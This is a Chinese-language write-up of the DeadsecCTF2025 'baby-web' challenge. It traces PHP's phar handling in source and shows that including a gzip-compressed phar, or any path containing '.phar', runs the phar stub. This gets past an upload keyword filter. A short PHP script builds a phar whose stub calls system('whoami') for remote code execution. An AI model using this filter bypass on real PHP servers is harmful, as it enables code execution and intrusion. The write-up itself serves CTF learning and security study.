当include邂逅phar——DeadsecCTF2025 baby-web

前言

当看完陆队的The End Of LFI?后,本来以为include已经玩不出什么花样了,没想到php不愧是php,总有你想不到的各种奇奇怪怪的trick

题目内容

题目的内容比较简单,一个index.php和一个upload.php,和我上次出的题差不多(

<?php
# index.php
session_start();
error_reporting(0);

if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = random_bytes(4);
}

if (!isset($_GET['url'])) {
    die("Nope :<");
}

$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);

if (!file_exists($SANDBOX)) {
    mkdir($SANDBOX);
}

if (!file_exists($SANDBOX . '/' . $include_url)) {
    die("Nope :<");
}

if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("Nope :<");
}

@include($SANDBOX . '/' . $include_url);
?>
<?php
# upload.php
session_start();
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];


function filter($tempfile)
{
    $data = file_get_contents($tempfile);
    if (
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
    ) {
        return true;
    }
    return false;
}

if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = random_bytes(4);
}

$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
    mkdir($SANDBOX);
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
            die("Nope :<");
        }

        // mimetype check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mime_type, $allowed_mime_types)) {
            die('Nope :<');
        }

        // ext check
        $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

        if (!in_array($ext, $allowed_extensions)) {
            die('Nope :<');
        }

        if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) {
            echo "File upload success!";
        }
    }
}
?>

<form enctype='multipart/form-data' action='upload.php' method='post'>
    <input type='file' name='file'>
    <input type="submit" value="upload"></p>
</form>

然后docker环境也非常简单,没有配什么奇怪的东西,全是默认配置,php版本也非常高,基本上能想到的一些绕过trick都绕不了:

FROM php:8.2-apache  

RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
    apt-get install -y \
    gcc \ 
    libbz2-dev && \
    docker-php-ext-install bz2 && \
    rm -rf /var/lib/apt/lists/

RUN rm -rf /var/www/html/*

COPY flag.txt readflag.c /
RUN gcc -o /readflag /readflag.c && \
    rm /readflag.c

RUN chown 0:1337 /flag.txt /readflag && \
    chmod 040 /flag.txt && \
    chmod 2555 /readflag

COPY src/index.php src/upload.php /var/www/html/

RUN chown -R root:root /var/www && \
    find /var/www -type d -exec chmod 555 {} \; && \
    find /var/www -type f -exec chmod 444 {} \; && \
    mkdir /var/www/html/uploads && \
    chmod 703 /var/www/html/uploads

RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER www-data
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
USER root

EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

简单来说,我们可以上传一个文件,但必须是'zip', 'bz2', 'gz', 'xz', '7z'其中之一,并且严格检查了你上传的文件里的关键字,不能出现__HALT_COMPILER()PK<?<?php,如果通过验证,会使用$include_url = basename($_GET['url'])获取到文件然后用@include($SANDBOX . '/' . $include_url)进行include

难点很明显,使用了basename获取文件名,而且最后include的还是$SANDBOX . '/' . $include_url,因此我们这里是没办法使用伪协议的,比如什么phar://,压根没有可控点。其次我们上传的文件里被过滤了关键字,特别是<?,并且对应的环境里只能用<?php当作php标签,其他骚操作比如<script language="php"><% %>是解析不了的。而且这里的代码里也没有什么解压操作,上传了啥文件就是include了啥文件,导致关键字绕过几乎成了不可能的事,反正我当时是没做出来,还是太菜了。

深入include底层

下一份php源码:https://github.com/php/php-src/archive/refs/tags/php-8.3.23.zip

当我们include一个文件的时候,会调用一个叫做compile_filename的方法:

zend_op_array *compile_filename(int type, zend_string *filename)
{
	zend_file_handle file_handle;
	zend_op_array *retval;
	zend_string *opened_path = NULL;

	zend_stream_init_filename_ex(&file_handle, filename);

	retval = zend_compile_file(&file_handle, type);
	if (retval && file_handle.handle.stream.handle) {
		if (!file_handle.opened_path) {
			file_handle.opened_path = opened_path = zend_string_copy(filename);
		}

		zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);

		if (opened_path) {
			zend_string_release_ex(opened_path, 0);
		}
	}
	zend_destroy_file_handle(&file_handle);

	return retval;
}

这个函数 compile_filename 是 Zend 引擎(PHP 内核)的一个内部函数,他的作用是编译给定的 PHP 文件,返回其对应的 zend_op_array(即可执行的中间代码),并将文件路径加入全局已包含文件列表,防止重复 include,可以看到其中有一行调用了zend_compile_file,顾名思义,它的作用是使用 Zend 的编译器编译这个文件。

继续定位到phar对应的编译方法,需要看到phar_compile_file

static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
	zend_op_array *res;
	zend_string *name = NULL;
	int failed;
	phar_archive_data *phar;

	if (!file_handle || !file_handle->filename) {
		return phar_orig_compile_file(file_handle, type);
	}
	if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
		if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
			if (phar->is_zip || phar->is_tar) {
				zend_file_handle f;

				/* zip or tar-based phar */
				name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
				zend_stream_init_filename_ex(&f, name);
				if (SUCCESS == zend_stream_open_function(&f)) {
					zend_string_release(f.filename);
					f.filename = file_handle->filename;
					if (f.opened_path) {
						zend_string_release(f.opened_path);
					}
					f.opened_path = file_handle->opened_path;

					switch (file_handle->type) {
						case ZEND_HANDLE_STREAM:
							if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
								file_handle->handle.stream.closer(file_handle->handle.stream.handle);
							}
							file_handle->handle.stream.handle = NULL;
							break;
						default:
							break;
					}
					*file_handle = f;
				}
			} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
				/* compressed phar */
				file_handle->type = ZEND_HANDLE_STREAM;
				/* we do our own reading directly from the phar, don't change the next line */
				file_handle->handle.stream.handle  = phar;
				file_handle->handle.stream.reader  = phar_zend_stream_reader;
				file_handle->handle.stream.closer  = NULL;
				file_handle->handle.stream.fsizer  = phar_zend_stream_fsizer;
				file_handle->handle.stream.isatty  = 0;
				phar->is_persistent ?
					php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
					php_stream_rewind(phar->fp);
			}
		}
	}

	zend_try {
		failed = 0;
		CG(zend_lineno) = 0;
		res = phar_orig_compile_file(file_handle, type);
	} zend_catch {
		failed = 1;
		res = NULL;
	} zend_end_try();

	if (name) {
		zend_string_release(name);
	}

	if (failed) {
		zend_bailout();
	}

	return res;
}

可以看到当他判断到strstr(ZSTR_VAL(file_handle->filename), ".phar"),也就是发现文件名中包含字符串 .phar,会调用phar_open_from_filename,继续跟phar_open_from_filename

可以看到这里调用了一个叫phar_open_from_fp的东西,继续跟一下:

static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
	static const char token[] = "__HALT_COMPILER();";
	static const char zip_magic[] = "PK\x03\x04";
	static const char gz_magic[] = "\x1f\x8b\x08";
	static const char bz_magic[] = "BZh";
	char *pos, test = '\0';
	int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
	const int window_size = 1024;
	char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
	const zend_long readsize = sizeof(buffer) - sizeof(token);
	const zend_long tokenlen = sizeof(token) - 1;
	zend_long halt_offset;
	size_t got;
	uint32_t compression = PHAR_FILE_COMPRESSED_NONE;

	if (error) {
		*error = NULL;
	}

	if (-1 == php_stream_rewind(fp)) {
		MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
	}

	buffer[sizeof(buffer)-1] = '\0';
	memset(buffer, 32, sizeof(token));
	halt_offset = 0;

	/* Maybe it's better to compile the file instead of just searching,  */
	/* but we only want the offset. So we want a .re scanner to find it. */
	while(!php_stream_eof(fp)) {
		if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
			MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
		}

		if (!test && recursion_count) {
			test = '\1';
			pos = buffer+tokenlen;
			if (!memcmp(pos, gz_magic, 3)) {
				char err = 0;
				php_stream_filter *filter;
				php_stream *temp;
				/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
				zval filterparams;

				if (!PHAR_G(has_zlib)) {
					MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
				}
				array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
				add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);

				/* entire file is gzip-compressed, uncompress to temporary file */
				if (!(temp = php_stream_fopen_tmpfile())) {
					MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
				}

				php_stream_rewind(fp);
				filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));

				if (!filter) {
					err = 1;
					add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
					filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
					zend_array_destroy(Z_ARR(filterparams));

					if (!filter) {
						php_stream_close(temp);
						MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
					}
				} else {
					zend_array_destroy(Z_ARR(filterparams));
				}

				php_stream_filter_append(&temp->writefilters, filter);

				if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
					php_stream_filter_remove(filter, 1);
					if (err) {
						php_stream_close(temp);
						MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
					}
					php_stream_close(temp);
					MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
				}

				php_stream_filter_flush(filter, 1);
				php_stream_filter_remove(filter, 1);
				php_stream_close(fp);
				fp = temp;
				php_stream_rewind(fp);
				compression = PHAR_FILE_COMPRESSED_GZ;

				/* now, start over */
				test = '\0';
				if (!--recursion_count) {
					MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
					break;
				}
				continue;
			} else if (!memcmp(pos, bz_magic, 3)) {
				php_stream_filter *filter;
				php_stream *temp;

				if (!PHAR_G(has_bz2)) {
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
				}

				/* entire file is bzip-compressed, uncompress to temporary file */
				if (!(temp = php_stream_fopen_tmpfile())) {
					MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
				}

				php_stream_rewind(fp);
				filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));

				if (!filter) {
					php_stream_close(temp);
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
				}

				php_stream_filter_append(&temp->writefilters, filter);

				if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
					php_stream_filter_remove(filter, 1);
					php_stream_close(temp);
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
				}

				php_stream_filter_flush(filter, 1);
				php_stream_filter_remove(filter, 1);
				php_stream_close(fp);
				fp = temp;
				php_stream_rewind(fp);
				compression = PHAR_FILE_COMPRESSED_BZ2;

				/* now, start over */
				test = '\0';
				if (!--recursion_count) {
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
					break;
				}
				continue;
			}

			if (!memcmp(pos, zip_magic, 4)) {
				php_stream_seek(fp, 0, SEEK_END);
				return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
			}

			if (got >= 512) {
				if (phar_is_tar(pos, fname)) {
					php_stream_rewind(fp);
					return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
				}
			}
		}

		if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
			halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
			return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
		}

		halt_offset += got;
		memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
	}

	MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}

直接让ai帮我解释一下:phar_open_from_fp() 是用于从一个 php_stream(即打开的文件流)中解析并打开一个 Phar 文件(PHP Archive)的函数:

打开 phar 文件流
   ↓
尝试 rewind 到起始位置
   ↓
是否 gzip?→ 解压 → rewind
是否 bzip2?→ 解压 → rewind
是否 zip?→ phar_parse_zipfile
是否 tar?→ phar_parse_tarfile
   ↓
扫描 __HALT_COMPILER();
   ↓
找到了 → phar_parse_pharfile()
找不到 → 报错并退出

你可能会奇怪一个事,明明函数叫 phar_open_from_fp,不是“打开 Phar 文件”的吗?为什么还要判断 gzip、bzip2、zip、tar 呢?这些不是非 Phar 吗?其实这些格式也可以是合法的 Phar 文件容器,Phar 文件本质上是容器格式,不是文件后缀决定的,PHP 的 Phar 扩展支持将一个 Phar 文件封装成以下几种格式:

文件结构是否支持作为 Phar是否需要特殊处理
纯 PHP 脚本(有 __HALT_COMPILER();默认支持
gzip 压缩的 Phar需要解压
bzip2 压缩的 Phar需要解压
tar 格式的打包.phar.tar.tar.phar
zip 格式的打包.phar.zip.zip.phar
完全不是 Phar报错

比如下面是一个合法的 gzip 压缩 Phar:

php -d phar.readonly=0 -r '
    $phar = new Phar("test.phar");
    $phar["index.php"] = "<?php echo 123;";
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->compress(Phar::GZ);  // 关键!
'

生成的 test.phar

  • 外表是 gzip 格式;
  • 里面是 tar + Phar 元数据;
  • PHP 打开它的时候就需要:
    1. 判断是 gzip;
    2. 解压到临时流;
    3. 再继续扫描 __HALT_COMPILER(); 或 tar header;

要是我们打包成了zip,那么 PHP 会识别成 zip,通过 phar_parse_zipfile() 去解析。

最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析,比如我们用下面这个代码生成一个phar文件:

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('whoami');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

可以看到现在还有明显的关键字:

现在打包一下,可以看到关键字已经完全消失了:

当我们include这个phar.gz文件时,php会自动解压这个gz文件,所以最后相当于是直接include这个phar文件,而这里有关键字:

<?php
    system('whoami');
    __HALT_COMPILER();
?>

所以就直接rce了:

当然,在前面我们跟代码的时候应该还记得,他的判断逻辑是只要文件名里有.phar这几个字就行:

所以事实上我们完全不需要保证最后include的是一个xxx.phar.gzip文件,只要文件名里有.phar即可,所以说无论我们是include 1.phar.png还是1.phar.html均可以正常rce:

甚至只要包含的路径里带了.phar这几个字就能解析 哪怕是目录也行:

但如果没有.phar这几个字就不能解析了:

后记

太伟大了PHP

评论

  1. baozongwi
    1 月前
    2025-7-30 15:58:35

    狗哥搞个更牛的php出来

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇